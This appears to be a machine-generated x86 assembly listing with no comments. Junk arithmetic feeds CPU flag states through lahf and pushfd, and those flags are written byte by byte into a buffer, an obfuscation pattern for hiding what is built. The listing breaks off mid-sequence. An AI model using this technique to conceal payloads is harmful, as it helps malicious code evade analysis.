mov eax, 0xed834453
mov ecx, 0x9c326a46
ror eax, cl
mov edx, 0x9ead65d0
neg edx
mov eax, 0x6430d284
aaa
mov edx, 0x1b92acf0
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x8b8c9880
neg eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0xd7c6d832
rol eax, 1
mov eax, 0xa22d52bd
rol eax, 1
mov ebx, 0x61a4c162
sar ebx, 0x6d
mov ecx, 0x572b04cf
inc ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x6aef1f4d
cmp edx, 0x89fc4e65
mov eax, 0x58016627
aaa
mov ebx, 0xc8e7d791
dec ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0x347e2d7c
cmp ecx, 0xeddfcd54
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xd2c47360
mov ecx, 0xb9d7eac8
rol eax, cl
mov eax, 0xc6c7eed5
mov edx, 0x74f41880
add eax, edx
mov edx, 0xa08f2df1
mov ecx, 0x1f1cac67
cmp edx, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xf920d1d2
mov ecx, 0x50233784
shl eax, cl
mov ebx, 0x438151af
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x3157f1c8
sal ebx, 1
mov ebx, 0xe3b3e7d0
dec ebx
mov edx, 0x80f9c6c
mov ecx, 0x996ea353
rol edx, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x68461381
mov ecx, 0xc21e7d4
ror edx, cl
mov ebx, 0x52a00395
mov ecx, 0x1fa3eeda
ror ebx, cl
mov edx, 0xe01bb581
rol edx, 1
mov eax, 0x41e13003
aaa
mov edx, 0x91926279
mov ecx, 0x1b1d5d91
ror edx, cl
mov eax, 0x4624341b
mov ecx, 0x5eb7bca1
sal eax, cl
mov ecx, 0x44668f7d
inc ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x85ec9f29
mov ecx, 0x209f1555
rol eax, cl
mov ebx, 0x4e6dcfc7
inc ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x37a1553e
mov ecx, 0x64089c6d
sal edx, cl
mov eax, 0xacdd58e5
dec eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x6a4c0af6
mov ecx, 0x5a7ffc2f
ror edx, cl
mov eax, 0xb6e41515
mov ecx, 0x1a775fb0
rol eax, cl
mov eax, 0x94fe263f
inc eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x5998f5e1
dec ebx
mov eax, 0xe962c661
mov ecx, 0xb02de627
ror eax, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0x456b26b4
rol edx, 1
mov ecx, 0x6f129adb
dec ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xe5bffbc7
sal ebx, 0x42
mov ecx, 0xd781709
dec ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x1390509c
dec edx
mov edx, 0x139ab454
rol edx, 1
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x81f99598
cmp ebx, 0x653ee91f
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xde16bbe0
rol eax, 1
mov edx, 0xdb691ea0
mov ecx, 0x99f0e838
ror edx, cl
mov edx, 0x3bb4a42f
mov ecx, 0x70879bfc
rol edx, cl
mov ecx, 0x4195a408
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xbd02461f
mov eax, 0x461338a6
cmp ebx, eax
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xbe673c6c
sal edx, 0x96
mov ebx, 0x4fb9021d
inc ebx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x90d6342d
mov eax, 0xf57750c
sub ecx, eax
mov eax, 0x992997d4
aaa
mov ebx, 0x924ffc23
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xdb86d329
mov ecx, 0x4461f055
rol eax, cl
mov ebx, 0x5374f14
cmp ebx, 0x2aa4c4a7
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x2a3c3063
mov ecx, 0x642f68b8
rol ebx, cl
mov edx, 0x567db675
dec edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xbcce8502
mov ecx, 0x3dc9eebb
ror ebx, cl
mov edx, 0xdd018b97
mov ecx, 0xc2e81afa
rol edx, cl
mov ebx, 0x483d8e24
inc ebx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x54a98e77
mov ebx, 0xba2e6850
cmp ecx, ebx
mov edx, 0x25bb2fa1
inc edx
mov edx, 0xac259b88
mov ecx, 0x881c9c26
rol edx, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x3add6ea1
inc ebx
mov ebx, 0x304cacaa
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0x380241fa
mov ecx, 0x954d0b0b
rol edx, cl
mov ebx, 0x534bb395
shl ebx, 1
mov edx, 0x5472d220
dec edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x1fa5307a
shl edx, 1
mov ecx, 0x3c1549eb
dec ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xaff78a63
aas
mov edx, 0xfcd0783f
mov ecx, 0x54933d19
ror edx, cl
mov eax, 0x3bf5861
mov ecx, 0x75de3035
ror eax, cl
mov eax, 0xaa5155e5
rol eax, 1
mov edx, 0x4c537bff
mov ecx, 0xf442953b
rol edx, cl
mov ebx, 0x40fde8e3
rol ebx, 1
mov ebx, 0x24bb8301
inc ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x932501aa
sar eax, 0x93
mov ecx, 0x1dd8c39
dec ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x9c9ba137
mov ecx, 0x18381147
cmp edx, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xe77c9ffa
mov eax, 0x88051644
cmp ecx, eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x1803c105
rol edx, 1
mov edx, 0x129868f3
add edx, 0x6af1b8b9
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x3aae7c63
inc ecx
mov ebx, 0x51c84f1c
mov ecx, 0x826b3b3e
ror ebx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0x3310e1b5
cmp ecx, 0xce09de15
mov eax, 0x5fcd1d3d
inc eax
mov ebx, 0x2bc90ecd
mov ecx, 0x6fd0acdc
ror ebx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x38df55cc
dec edx
mov edx, 0x83fb8065
mov ecx, 0x218a8f0f
ror edx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x7b48a6c0
dec eax
mov eax, 0xdd8c3af9
mov ecx, 0x92bfe197
ror eax, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x6f425f3b
mov ecx, 0xab537740
cmp edx, ecx
mov eax, 0xc1bc9875
aas
mov ebx, 0x31cb8558
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xc8ddf64c
cmp ecx, 0xc52bbd3
mov eax, 0x9b9e8871
aas
mov ebx, 0x631358bb
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x7b5abf64
mov ecx, 0xef058c61
rol edx, cl
mov ebx, 0x837bcd9a
sar ebx, 2
mov edx, 0x4961d9ee
dec edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x3eb3adaf
mov ecx, 0xb4221a84
ror edx, cl
mov edx, 0x3aa35285
mov ecx, 0x69d2c1a6
rol edx, cl
mov eax, 0xb291cc82
dec eax
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x20ebf7da
cmp edx, 0xce481ea9
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x1e60f7da
inc eax
mov edx, 0xc08c7732
rol edx, 1
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x89b7a814
mov ecx, 0xf8b6ce3b
rol edx, cl
mov ecx, 0xa538c5e
dec ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x5c45876d
inc ebx
mov edx, 0xcefdf827
rol edx, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0x74ec08f1
mov ecx, 0x6b9f109b
ror edx, cl
mov ebx, 0x2f97cd29
mov ecx, 0xa168286
rol ebx, cl
mov edx, 0xbe119be4
mov ecx, 0x4b766474
cmp edx, ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x6c6f34ea
aaa
mov eax, 0x5603d0fd
sar eax, 0x8a
mov ecx, 0x63d15d0f
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xa02f9e99
mov ecx, 0xfe0e0915
ror ebx, cl
mov ebx, 0x3dc3347a
dec ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x2f96d288
cmp ebx, 0x27170680
lahf
mov byte [edi], ah
inc edi
mov eax, 0xe20f9d8a
mov ecx, 0x9b6ef09d
rol eax, cl
mov ecx, 0x68596e50
inc ecx
mov edx, 0xfefcae85
rol edx, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0x11e77723
mov ecx, 0xc3a6e0ab
ror eax, cl
mov edx, 0x4be1f735
shl edx, 1
mov ebx, 0xf3923635
inc ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x7ad59eed
rol eax, 1
mov ebx, 0x37893c98
mov ecx, 0x52901f81
ror ebx, cl
mov edx, 0xbd05bd90
neg edx
mov ebx, 0x4be66c6c
mov ecx, 0x95274320
add ebx, ecx
mov ebx, 0x4ea6f4c3
mov ecx, 0x40e7b383
cmp ebx, ecx
mov eax, 0xe0426c01
mov ecx, 0xb68dbdc3
ror eax, cl
mov ecx, 0xec33ce4c
sub ecx, 0x4bf0e92a
mov ebx, 0x52d6baff
mov ecx, 0xc6f1f4e3
sal ebx, cl
mov edx, 0x5fdccd50
dec edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x96475cdf
mov ecx, 0x1d867af0
ror edx, cl
mov edx, 0x5de0c0dc
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x91d130cb
mov ecx, 0x8f8c9ac
ror eax, cl
mov eax, 0x7a0dca26
dec eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xf8569d6e
mov edx, 0x20d7c06e
cmp ebx, edx
mov ecx, 0xd0b44dfc
add ecx, 0xe4dd5b73
mov ebx, 0x62f346a7
mov ecx, 0xc162eff1
ror ebx, cl
mov edx, 0x1aba8256
rol edx, 1
mov eax, 0xbf36b6e4
sal eax, 0x43
mov eax, 0x56d3cae9
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xcd4bc8fa
cmp ebx, 0x7328d058
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x7f40765c
mov ecx, 0x9ac30d05
rol ebx, cl
mov ecx, 0x9f3ba3fd
mov eax, 0xf6583c22
sub ecx, eax
mov eax, 0x393d7cd1
mov ecx, 0x3a945da3
ror eax, cl
mov ebx, 0x145c816f
inc ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xd642662c
mov edx, 0x8653a36b
cmp ebx, edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x9b54a1df
mov ecx, 0xeafd8480
sub ebx, ecx
mov eax, 0xbd3eea96
aas
mov ebx, 0xec76c3
inc ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x7d1c91fe
cmp eax, 0xfd259321
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xb352870b
mov ecx, 0xabddd3f3
shl edx, cl
mov ecx, 0xb29e0c0d
dec ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x43557919
mov eax, 0xc16aeb03
add ebx, eax
mov eax, 0xdc2f0e3a
aaa
mov ebx, 0x122e8596
mov ecx, 0xca95a9b
ror ebx, cl
mov edx, 0xda978049
mov ecx, 0x8116be62
rol edx, cl
mov ebx, 0xbf14ad4a
neg ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xb7621c4d
shl ebx, 1
mov ecx, 0x5361a8f4
inc ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x210c5436
rol eax, 1
mov eax, 0xf0d1bc2
dec eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0x3735c41b
mov edx, 0xd7caf266
sub ecx, edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x3a05a88
mov ecx, 0x7b596ac4
add ebx, ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x5771014c
sub ebx, 0xd956228b
mov ebx, 0x47eeab82
sal ebx, 0xe3
mov eax, 0x544d9fcf
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xff7ca8ff
rol ebx, 1
mov ebx, 0xdcd7b71d
mov ecx, 0xb9c4764a
sub ebx, ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xd93a2c7d
mov ecx, 0x9865f770
rol ebx, cl
mov eax, 0x38de1d0c
inc eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0x17160275
cmp ecx, 0xb89729e7
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x238f8123
rol ebx, 1
mov ebx, 0xe45290f0
cmp ebx, 0x6323858e
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xc338ac92
rol eax, 1
mov ebx, 0x5d74e19a
mov ecx, 0x14712fc
ror ebx, cl
mov eax, 0x25eda440
rol eax, 1
mov ebx, 0x41d269f4
mov eax, 0x32a3c37a
add ebx, eax
mov eax, 0x392adb3a
aaa
mov eax, 0x7cc4aa1f
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x17191982
mov ecx, 0xb660670f
ror ebx, cl
mov edx, 0xbd5da14
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x9f52bb2a
sal edx, 1
mov eax, 0x9d7f1c33
inc eax
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x624df732
mov ecx, 0x1de4633a
rol edx, cl
mov ebx, 0x588b8e55
inc ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0xee121bb8
cmp eax, 0x9e3da33
mov eax, 0x613feb02
aaa
mov ebx, 0x31d36eea
dec ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x7e408f41
dec edx
mov ebx, 0x87966642
mov ecx, 0xd6b1d693
ror ebx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0x5a0ff929
mov ebx, 0x1a9c26a6
cmp ecx, ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xbad7371d
mov ecx, 0xba56ed14
sar eax, cl
mov ebx, 0x32d1a580
dec ebx
mov edx, 0x2b0dec04
rol edx, 1
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x474bcf50
rol edx, 1
mov ebx, 0xd27d3da
dec ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x978863de
cmp eax, 0x25211322
lahf
mov byte [edi], ah
inc edi
mov edx, 0x5759bf59
mov ecx, 0xcfa05b36
ror edx, cl
mov edx, 0xe3f7fa78
sub edx, 0x826482f8
lahf
mov byte [edi], ah
inc edi
mov eax, 0xb9fc950f
mov ecx, 0x5aefea82
rol eax, cl
mov eax, 0x79e82d9c
inc eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xdddf07a5
sal ebx, 1
mov edx, 0x78fb26b4
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x20e28864
mov ecx, 0x15ad957a
rol ebx, cl
mov edx, 0x114a3865
mov ecx, 0x66b54db0
rol edx, cl
mov ebx, 0x7fa2df16
mov ecx, 0xb76d7f93
rol ebx, cl
mov eax, 0x4f1c9999
rol eax, 1
mov edx, 0x781376df
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xd68bceeb
mov ecx, 0xe45a61e7
rol edx, cl
mov ecx, 0xaed4aa5a
cmp ecx, 0x387d35d9
mov eax, 0xdf79b5c5
aaa
mov ecx, 0x891f8705
inc ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0xf80f2028
sar eax, 0x2e
mov eax, 0x62b0e87
inc eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0xfa36304
rol eax, 1
mov eax, 0xcf7e37c4
shl eax, 0xa4
mov ecx, 0x658a2e5a
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xeb7394a8
mov ecx, 0x1be2c35a
rol ebx, cl
mov eax, 0x142e4682
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x8b1d47bd
dec ecx
mov edx, 0xbc19daac
mov ecx, 0xcf60ff59
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x762470df
shl eax, 1
mov eax, 0x418eaf8f
inc eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0xb4c1ab20
mov ecx, 0x21a893c5
ror eax, cl
mov edx, 0xb5ec9d2f
dec edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x9eeeedfe
cmp edx, 0x5f8f43ea
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ecx, 0xa955f51
add ecx, 0x17aa4af9
mov eax, 0x476fda9
aas
mov edx, 0x2e7c96d9
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x44fe799e
sub ebx, 0xf45fdbdc
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ecx, 0x20418d7e
inc ecx
mov ebx, 0x7f7dfd4b
rol ebx, 1
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x6c171164
mov ecx, 0x3804717b
sub eax, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xe97af6cc
mov ecx, 0xc1a59acc
ror edx, cl
mov ebx, 0x35a0e196
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xc691af5f
mov ecx, 0x18b86551
ror ebx, cl
mov eax, 0xf8ef3ce0
mov ecx, 0x41ce9c74
ror eax, cl
mov eax, 0xca73ffba
mov ecx, 0x6d309429
cmp eax, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x14c78f4c
shl ebx, 0x5d
mov edx, 0xd414c79a
mov ecx, 0xae67b7af
ror edx, cl
mov eax, 0x91aca814
shl eax, 1
mov ecx, 0xadd30d2f
inc ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xb1c3050f
mov ecx, 0xc97223c1
sal edx, cl
mov eax, 0x9b39a39d
shl eax, 1
mov edx, 0x8ddbdf5f
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xb690fd62
rol ebx, 1
mov eax, 0xf4ac3891
mov ebx, 0xc57577b9
add eax, ebx
mov eax, 0x8bd66a0c
aas
mov edx, 0xcfe6990a
rol edx, 1
mov ebx, 0x4493e0df
mov ecx, 0xa582e0bb
ror ebx, cl
mov ebx, 0xe860dcaf
mov ecx, 0x7463b58e
rol ebx, cl
mov ebx, 0x6378b616
mov ecx, 0xcdbd254
ror ebx, cl
mov ecx, 0x7d4af56f
inc ecx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xbe876a60
add ecx, 0x71b468a8
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x434cba44
mov ecx, 0xf77f6d18
rol ebx, cl
mov edx, 0xecf82cec
cmp edx, 0xa5d190e4
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x580e9dc8
rol eax, 1
mov eax, 0xb040e1e6
mov ecx, 0xefc3be85
rol eax, cl
mov edx, 0xc51fd7cd
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x39171a1d
mov ecx, 0x4996c106
rol eax, cl
mov eax, 0xec9cd2a4
rol eax, 1
mov ebx, 0x960744e8
mov edx, 0x33340528
cmp ebx, edx
mov eax, 0x6a598659
aaa
mov edx, 0x3eff76d4
inc edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xf20b3b9f
inc ebx
mov ebx, 0x5b9490c5
mov ecx, 0xa3e70b59
rol ebx, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x73fb8395
inc ebx
mov eax, 0x54d7c9bd
mov ecx, 0x7c56926a
ror eax, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x206618d8
add edx, 0xfa762c9
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x41ec8d91
mov ecx, 0x4c9f39d6
rol ebx, cl
mov edx, 0x4aeeef6d
sal edx, 1
mov ebx, 0x61ab7176
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xa695a5ff
cmp ebx, 0x83aa3ed9
mov eax, 0x30760d24
aaa
mov edx, 0x134d2ecf
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x2b5a8e32
dec edx
mov edx, 0xa326db57
rol edx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xe4b9ba26
mov eax, 0xf0fefc55
cmp ecx, eax
mov edx, 0x89882300
neg edx
mov ebx, 0xc756c3a2
mov ecx, 0x3d7199d2
rol ebx, cl
mov ecx, 0x4673c29a
dec ecx
mov edx, 0xb85caf90
mov ecx, 0xd6cfdc48
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xd0c77752
rol edx, 1
mov edx, 0xd4c6ded3
shl edx, 1
mov eax, 0xfa234c81
inc eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x2e11d516
neg eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x8e491ac7
mov ecx, 0xcc506d90
rol eax, cl
mov ebx, 0x65a0e25
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x635df88f
mov ecx, 0x3934f175
rol ebx, cl
mov ebx, 0xecf72475
dec ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xa0a900f0
neg edx
mov edx, 0x6a9fa07e
rol edx, 1
mov ebx, 0xb1a1873f
inc ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xebaee2a3
rol edx, 1
mov ecx, 0x6761f650
dec ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xdae041d8
mov ecx, 0xa0e373d1
ror eax, cl
mov eax, 0xfd28b59f
cmp eax, 0x2a410931
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xa1be1acd
inc ecx
mov eax, 0x1bca0fbe
mov ecx, 0xb3596f5
ror eax, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xecb398e6
rol ebx, 1
mov edx, 0xd71e3090
dec edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x5bf7789c
inc edx
mov ebx, 0xf8d05820
mov ecx, 0xc0933430
rol ebx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xaf0b1b0d
aaa
mov edx, 0x55df9f4e
mov ecx, 0x3c7e1f5a
sar edx, cl
mov edx, 0xc806927f
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x38fa7ec7
shl ebx, 8
mov eax, 0x7db4cb1a
inc eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x6791cd61
add edx, 0x76f60b2d
mov eax, 0xc82a032
aaa
mov ecx, 0x21ef80de
inc ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x5701be1a
dec ebx
mov edx, 0x3d8a9af7
mov ecx, 0x9bf5da3a
rol edx, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x43cf8cb3
mov ecx, 0x6c2e8107
sar ebx, cl
mov eax, 0x1992fd8b
dec eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0xc854ebb6
sub edx, 0x13fd52d5
mov eax, 0x8857030a
sal eax, 0xa6
mov eax, 0x725ef2af
inc eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x18d175a5
mov ecx, 0x4bf8316b
rol edx, cl
mov edx, 0x2e1a160f
mov ecx, 0xb4c51c90
rol edx, cl
mov ecx, 0x11e615e2
inc ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x2658fbbc
sar ebx, 0x7d
mov eax, 0x79edd9a0
inc eax
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x7b462dd0
rol eax, 1
mov ecx, 0xb85d5720
dec ecx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x8782537a
add ecx, 0x7e93b101
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x2d0b0d78
sub ecx, 0xb7e8fb66
mov eax, 0x6a947ce3
aas
mov eax, 0x127e17ba
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x12cf6d64
mov ecx, 0x445c2c71
add edx, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xd492dea1
mov ecx, 0x8a1db9f4
ror eax, cl
mov edx, 0x77b9ae1e
rol edx, 1
mov ecx, 0x5f2dd5cf
inc ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xecca41c1
rol ebx, 1
mov ebx, 0x4b22f4c3
mov ecx, 0x80edbb0e
ror ebx, cl
mov edx, 0x181e22be
mov ecx, 0xb4598348
sar edx, cl
mov ebx, 0x282f28f
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xdb2cdfb0
dec eax
mov eax, 0x3071531f
mov ecx, 0x7e1878e6
ror eax, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0x9d482e81
mov ecx, 0xcbebea03
ror eax, cl
mov ecx, 0x45f4d9b7
dec ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x536ac6d
mov ecx, 0x46d10f49
ror edx, cl
mov ebx, 0x27e6efdf
mov ecx, 0x41276210
add ebx, ecx
mov edx, 0x7d822d6f
mov ecx, 0x80cdd09c
ror edx, cl
mov ebx, 0x5dfcd8ef
mov ecx, 0xeef814a
ror ebx, cl
mov ebx, 0x373d461c
cmp ebx, 0x4b32a906
mov eax, 0xb997cef9
mov edx, 0x378418aa
sub eax, edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x3b25dc28
dec eax
mov ebx, 0x89b43c4c
rol ebx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x37954117
mov eax, 0x40aa9c10
sub ebx, eax
mov ecx, 0x4247e3b9
dec ecx
mov edx, 0xbbe36d3d
rol edx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x865813f
mov ecx, 0xad5cce07
shl ebx, cl
mov edx, 0x4bf4188a
dec edx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xe78cbff
cmp ecx, 0xe9513ad1
mov edx, 0x4b1343d4
shl edx, 1
mov eax, 0x4e80c350
dec eax
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x6b7bd932
mov ecx, 0xf70afbe8
rol eax, cl
mov ebx, 0x36ba4f35
mov eax, 0x296b7e31
sub ebx, eax
mov eax, 0x1e5ec42d
aas
mov eax, 0xd05ce011
sal eax, 1
mov edx, 0x1ce1f25f
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0x85f9d1c0
dec ecx
mov eax, 0xabb90e5
rol eax, 1
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xe8bd6c81
mov ecx, 0xf814f2f2
rol ebx, cl
mov edx, 0xb75f3bfe
mov ecx, 0x33fe4ff1
rol edx, cl
mov eax, 0xadf367bc
rol eax, 1
mov eax, 0xf86db37
inc eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x2299b987
rol edx, 1
mov ebx, 0x3e21a7ac
add ebx, 0xb2464dca
lahf
mov byte [edi], ah
inc edi
mov eax, 0x9059c5ed
aas
mov ebx, 0xc21b69ba
mov ecx, 0x42a82d8
shl ebx, cl
mov ecx, 0x64f728b9
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x70ce9a2b
rol eax, 1
mov ebx, 0x1506ce1f
inc ebx
mov edx, 0x7b920407
mov ecx, 0x6d1d7a5c
rol edx, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x3478da33
inc edx
mov ebx, 0x202485a3
rol ebx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xafaf31bc
mov ecx, 0x9b8e78a5
ror eax, cl
mov eax, 0x2af27bd4
shl eax, 1
mov eax, 0x44cfdaf
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x90e41f07
mov ecx, 0x1c77d939
ror edx, cl
mov edx, 0x878b56a6
rol edx, 1
mov ebx, 0x4e6e7b91
add ebx, 0x190f79d8
mov eax, 0x67d2df1b
aaa
mov ecx, 0x891fa5f
inc ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x38c98001
add ebx, 0x9bced448
mov ebx, 0xce8c130d
mov ecx, 0xa7bf98b0
rol ebx, cl
mov ecx, 0x6324cbad
cmp ecx, 0x5e8d5ee0
mov edx, 0x30b05934
mov ecx, 0x6bf3e5f0
rol edx, cl
mov ebx, 0xfe47da57
shl ebx, 0xe9
mov edx, 0x6f3f8540
dec edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x764b4b04
mov ecx, 0x2b1ae404
sar ebx, cl
mov edx, 0x2c278822
inc edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x1a88a726
shl edx, 0x22
mov ebx, 0xf5c43011
mov ecx, 0x88d742cc
rol ebx, cl
mov edx, 0x2aa240ef
